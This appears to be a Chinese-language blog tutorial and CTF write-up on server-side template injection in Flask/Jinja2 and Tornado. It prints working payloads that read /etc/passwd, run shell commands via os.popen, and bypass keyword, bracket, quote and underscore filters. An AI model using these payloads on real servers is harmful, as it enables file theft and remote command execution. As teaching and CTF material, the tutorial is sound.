漏洞介绍
什么是SSTI?SSTI即Server Side Template Injection,服务器端模板注入。由于程序员代码编写不当,信任了用户的输入,将其作为模板内容的一部分,从而造成模板可控。通过模板,我们可以通过输入转换成特定的html文件,返回给浏览器,比如说Twig模板:
| 1 | $output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) ); | 
SSTI主要影响的框架有 python框架:jinja2、Tornado 、Django,php框架:Smarty、Twig,java框架:Jade、Velocity
SSTI in flask
下面讲解一些关于flask的相关知识
路由
route装饰器的作用是将函数与url绑定起来,比如说有如下代码:
| 1 | 
 | 
访问127.0.0.1:5000,会返回hello world
如果改一下,变成如下代码:
| 1 | 
 | 
则访问127.0.0.1:5000/index,会返回hello world
当然也可以是动态的,或者可以使用int型,转换器有下面几种:
| 1 | int 接受整数 | 
渲染方法
flask中的模板渲染方法有两个:
- render_template 
- render_template_string 
render_template()是用来渲染一个指定的文件的,使用如下:
| 1 | return render_template('index.html') | 
render_template_string则是用来渲染一个字符串的,使用如下:
| 1 | str = 'aaa' | 
模板渲染
| 1 | ├── app.py | 
flask是使用Jinja2来作为渲染引擎的,根目录下的templates目录是用来存放html的,也就是模板文件,render_template函数渲染的就是templates目录下的模板文件。但是模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参,比如:
index.html
| 1 | <body> | 
app.py
| 1 | 
 | 
name参数经过渲染,访问页面时会出现Hello,Glarcy!
攻击方法
获取python的基本类
| 1 | #python2.7 | 
文件操作
| 1 | #找到file类 | 
执行命令
| 1 | #os类,可以直接执行命令 | 
Bypass
- 过滤关键字 - 1 - {{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}} 
- 过滤 - [- 1 
 2
 3
 4
 5- #读文件: 
 ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
 #执行命令:
 ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
- 过滤引号 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10- #先获取chr函数,赋值给chr,后面拼接字符串就好了: 
 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
 #借助request对象(推荐):
 {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
 #执行命令:
 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
- 过滤双下划线 - __- 1 - {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ 
相当于盲命令执行,利用curl将执行结果带出来
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
| 1 | import requests | 
动手实践
例题:TokyoWesterns CTF 4th 2018 shrine
环境搭建
https://github.com/CTFTraining/westerns_2018_shrine
由于我是在自己服务器上搭的,所以我修改了docker-compose.yml中的ports
| 1 | ports: | 
进入目录启动
| 1 | docker-compose up -d | 
访问(比如说127.0.0.1:5000)
| 1 | vps:your_port | 
顺便提一句,这里的flag跟原题目的flag是不一样的,因为作了修改,如果你想更贴近题目你也可以在Dockerfile中修改
攻击
进去可以直接看到源代码
| 1 | import flask | 
从源代码可以看出
- ()被过滤了,并且config、self被替换成了none
- 注入点为/shrine/< path:shrine >,即xxx.xxx.xxx.xxx/shrine/{{}}
- 初步探测,发现9被执行成功

虽然self、config无法使用,但是我们可以使用__init__来列出所有的原始属性,即
| 1 | {{app.__init__.__globals__.sys.modules.app.app.__dict__}} | 

除此之外,我看到别的师傅使用了调用current_app的办法
| 1 | url_for | 
SSTI in tornado
动手实践
例题:护网杯-easy_tornado
环境搭建
https://github.com/CTFTraining/huwangbei_2018_easy_tornado
vps上搭建,docker-compose.yml修改如下
| 1 | version: "2" | 
进入目录启动
| 1 | docker-compose up -d | 
访问(比如说127.0.0.1:5000)
| 1 | vps:your_port | 
攻击
进去可以发现3个文件

进入welcome.txt看到
| 1 | /welcome.txt | 
进入hints.txt看到
| 1 | /hints.txt | 
即先将filename md5加密,再将cookie_secret和加密后的filename进行md5加密
进入flag.txt看到
| 1 | /flag.txt | 
尝试访问/fllllllllllllag,发现错误

猜测msg处存在ssti,经过测试,确实存在


在tornado有个handler.settings对象,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,那么handler.settings就指向RequestHandler.application.settings了
使用handler.settings获得cookie_secret

构造filehash即可拿flag
防御
| 1 | @app.errorhandler(404) | 
参考链接: